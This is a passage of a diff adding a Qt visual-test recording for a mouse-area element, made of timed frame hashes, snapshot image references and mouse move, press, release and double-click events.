+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 72; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 76; y: 73
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10304
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 80; y: 72
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 84; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10320
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 87; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 90; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10336
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 93; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10352
+ hash: "6627c7a1a4da7e642f4b4b24ca5e8e7a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 96; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 99; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10368
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 102; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 106; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10384
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 108; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 110; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10400
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 113; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 115; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10416
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 118; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 121; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10432
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 123; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10448
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 126; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 128; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10464
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 130; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 132; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10480
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 133; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10496
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 134; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10512
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10528
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 135; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 136; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10544
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 137; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 138; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10560
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 140; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 0
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 10576
+ image: "mousearea-visual.11.png"
+ }
+ Frame {
+ msec: 10592
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10608
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10624
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10640
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10656
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10672
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10688
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10704
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10720
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10736
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10752
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10768
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10784
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10800
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10816
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10832
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10848
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10864
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10880
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10896
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10912
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10928
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10944
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10960
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10976
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 10992
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11008
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11024
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11040
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11056
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11072
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11088
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11104
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11120
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11136
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11152
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11168
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11184
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11200
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11216
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11232
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11248
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11264
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11280
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11296
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11312
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11328
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11344
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11360
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11376
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11392
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11408
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11424
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11440
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11456
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11472
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11488
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11504
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11520
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11536
+ image: "mousearea-visual.12.png"
+ }
+ Frame {
+ msec: 11552
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11568
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11584
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11600
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11616
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11632
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11648
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11664
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11680
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11696
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11712
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 2
+ button: 2
+ buttons: 2
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11728
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11744
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11760
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11776
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11792
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11808
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11824
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 3
+ button: 2
+ buttons: 0
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 11840
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11856
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11872
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11888
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11904
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11920
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11936
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11952
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11968
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 11984
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12000
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12016
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12032
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12048
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 4
+ button: 2
+ buttons: 2
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 12064
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12080
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12096
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12112
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12128
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12144
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12160
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12176
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12192
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12208
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 3
+ button: 2
+ buttons: 0
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 12224
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12240
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12256
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12272
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12288
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 12304
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12320
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12336
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12352
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12368
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12384
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12400
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12416
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12432
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12448
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 2
+ button: 2
+ buttons: 3
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 12464
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12480
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12496
+ image: "mousearea-visual.13.png"
+ }
+ Frame {
+ msec: 12512
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12528
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 3
+ button: 2
+ buttons: 1
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 12544
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 12560
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12576
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12592
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12608
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12624
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12640
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12656
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12672
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 12688
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12704
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12720
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12736
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12752
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 12768
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12784
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12800
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12816
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12832
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 12848
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12864
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12880
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12896
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 12912
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12928
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12944
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12960
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 12976
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 12992
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13008
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13024
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13040
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13056
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 13072
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13088
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 4
+ button: 1
+ buttons: 1
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 13104
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13120
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13136
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13152
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13168
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13184
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 13200
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13216
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13232
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13248
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13264
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13280
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13296
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 13312
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13328
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13344
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13360
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13376
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 13392
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13408
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13424
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13440
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13456
+ image: "mousearea-visual.14.png"
+ }
+ Frame {
+ msec: 13472
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13488
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13504
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13520
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13536
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13552
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13568
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13584
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13600
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13616
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13632
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 2
+ button: 2
+ buttons: 2
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 13648
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13664
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13680
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13696
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13712
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 3
+ button: 2
+ buttons: 0
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 13728
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13744
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13760
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13776
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13792
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13808
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 4
+ button: 2
+ buttons: 2
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 13824
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13840
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13856
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13872
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13888
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13904
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Mouse {
+ type: 3
+ button: 2
+ buttons: 0
+ x: 141; y: 71
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 13920
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13936
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13952
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13968
+ hash: "194ebac4ae7d95bf427f8161885a13e1"
+ }
+ Frame {
+ msec: 13984
